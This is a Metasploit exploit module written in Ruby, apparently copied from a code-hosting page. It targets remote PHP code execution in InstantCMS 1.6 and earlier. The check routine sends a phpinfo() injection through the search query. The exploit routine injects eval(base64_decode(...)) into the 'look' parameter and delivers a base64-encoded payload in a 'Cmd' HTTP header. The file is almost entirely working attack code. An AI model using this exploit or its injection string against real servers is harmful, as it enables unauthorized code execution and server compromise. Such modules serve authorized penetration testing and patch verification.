82 lines
2.1 KiB
Ruby
82 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'InstantCMS 1.6 Remote PHP Code Execution',
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'Description' => %q{
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This module exploits an arbitrary PHP command execution vulnerability because of a
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dangerous use of eval() in InstantCMS in versions 1.6 and prior.
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},
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'Author' =>
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[
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'AkaStep', # Vulnerability discovery and PoC
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'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'BID', '60816' ],
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[ 'PACKETSTORM', '122176' ]
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],
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'Privileged' => false,
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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[ 'InstantCMS 1.6', { } ],
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],
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'DisclosureDate' => 'Jun 26 2013',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"])
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])
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end
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def check
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.to_s),
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'vars_get' =>
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{
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'view' => 'search',
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'query' => '${echo phpinfo()}'
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}
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})
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if res and res.body.match(/Build Date/)
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return Exploit::CheckCode::Vulnerable
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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print_status("Executing payload...")
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res = send_request_cgi({
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'uri' => normalize_uri(target_uri.to_s),
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'vars_get' =>
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{
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'view' => 'search',
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'query' => rand_text_alpha(3 + rand(3)),
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'look' => "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode($_SERVER[HTTP_CMD]));//"
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},
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'headers' => {
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'Cmd' => Rex::Text.encode_base64(payload.encoded)
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}
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})
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end
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end
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